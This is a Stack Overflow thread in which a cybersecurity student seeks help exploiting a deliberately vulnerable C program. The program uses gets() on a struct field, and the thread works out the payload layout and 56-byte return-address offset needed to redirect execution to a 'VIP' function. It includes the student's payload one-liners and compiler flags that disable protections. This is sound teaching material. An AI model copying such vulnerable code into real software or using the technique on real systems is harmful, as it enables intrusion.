0

I am a cybersecurity student and I was doing an exercise in which I have to access the vip_queue function through a buffer overflow without changing the value of check. I've been trying for hours but I haven't gotten any results. I hope you can help me, thank you. This is the code:

#include <stdio.h>
#include <stdlib.h>

typedef struct {
    char name[32];
    int check;
} user_data;

void banner() {
    puts(" _   _ _          _____");
    puts("| \\ | (_) ___ ___|  ___|__  _ __ _   _ _ __ ___  ___");
    puts("|  \\| | |/ __/ _ \\ |_ / _ \\| '__| | | | '_ ` _ \\/ __|");
    puts("| |\\  | | (_|  __/  _| (_) | |  | |_| | | | | | \\__ \\");
    puts("|_| \\_|_|\\___\\___|_|  \\___/|_|   \\__,_|_| |_| |_|___/");
    puts("\n\n\n");
}

void vip_queue() {
    puts("[+] Your user is in the VIP list. Thanks for subscribing :D");
    puts("===================================");
    puts("===================================");
    puts("====      CONGRATULATIONS      ====");
    puts("===================================");
    puts("====        YOU MANAGED        ====");
    puts("====   TO EXPLOIT THE BINARY   ====");
    puts("===================================");
    puts("===================================");
    puts("==  STACK BASED BUFFER OVERFLOW  ==");
    puts("===================================");
    puts("===================================");
}

void get_user_info() {
    
    user_data data;
    data.check = 0;

    puts("[+] Welcome to NiceForums!");
    puts("[+] Please, submit your name or alias to continue with the subscription.");

    puts("Name or Alias:");
    gets(data.name);

    if ( data.check != 0 ) {
        puts("[!] ALERT! Stop trying strange stuff >:(");
        exit(1);
    }
    return; 
}

int main() {

    banner();
    
    get_user_info();

    puts("[!] There are no places available for non VIP users and you don't figure as one.");
}

i tried:

python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt

where \xa7\x11\x40\x00\x00\x00\x00\x00 is the address where the function vip_queue is stored at and also:

python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt

python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt

python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78

I executed the code with this:

gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums
16
  • 5
    All exploit exercises are specific to the computing environment used by the course, including the compiler, its version, the switches used to compile, the operating system and its program loader, and possibly other factors. You should ensure you are using the environment prescribed for the course (rather than a different environment on your own computer) and ought to direct questions to the course instructor. To ask on Stack Overflow, you need to provide a good deal more information than is in the question, including all of the environment details. Commented Apr 18, 2024 at 20:34
  • 2
    @chux-ReinstateMonica Because it allows buffer overflows. Which is exactly what the OP wants. Commented Apr 18, 2024 at 20:57
  • 1
    My guess is that you are supposed to overflow data.name in get_user_info so that the return address of the function get_user_info gets changed to the address of the function vip_queue. However, most modern operating systems use ASLR, which will probably make this exploit not work. Since you stated that you did not disable ASLR, your question does not make sense to me, unless ASLR is disabled and you are unaware of it. Commented Apr 18, 2024 at 22:03
  • 1
    Probably also needs to disable any stack protection (e.g. -fno-stack-protector) Commented Apr 18, 2024 at 22:30
  • 1
    When I test your code in the online debugger www.onlinegdb.com, set a breakpoint at the start of the function get_user_info and then use the GDB command x/16ag &data to inspect the memory on the stack, I find that there are 56 bytes between the address of data and the address of the return address. Your solution seems to be assuming that there is a difference of 36 bytes, which I believe would only be plausible on a 32-bit platform (due to alignment) and when a frame pointer is not used. Commented Apr 19, 2024 at 0:42

1 Answer 1

1

You're going in the right direction, but you're making incorrect assumptions about the location of the return address. We can take a look at the disassembled function using objdump -S.

For me, it looks like this (may be different for you):

[...]
0000000000401262 <get_user_info>:

void get_user_info() {
  401262:       55                      push   %rbp
  401263:       48 89 e5                mov    %rsp,%rbp
  401266:       48 83 ec 30             sub    $0x30,%rsp
  [...]
  4012d0:       c9                      leave
  4012d1:       c3                      ret
[...]

So, in this case, we have 0x30 + 8 bytes (push %rbp) = 56 bytes before the return address. Therefore, you need 32 bytes for name, 4 zero bytes for check, plus 20 extra bytes and then the address of vip_queue.

EDIT:

But why 56?

  1. The rbp register is pushed into the stack - 8 bytes;
  2. sizeof(user_data) == 36 - so 36 more bytes;
  3. AFAIK, the x86-64 ABI requires the stack pointer to be 16-byte aligned (a multiple of 16) - so 36 bytes become 48.

8 + 48 = 56.

Sign up to request clarification or add additional context in comments.

1 Comment

ohhh i see, i wasnt being aware of the 20 extra bytes. How did you get into that conclusion? Also, why 56 bytes?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.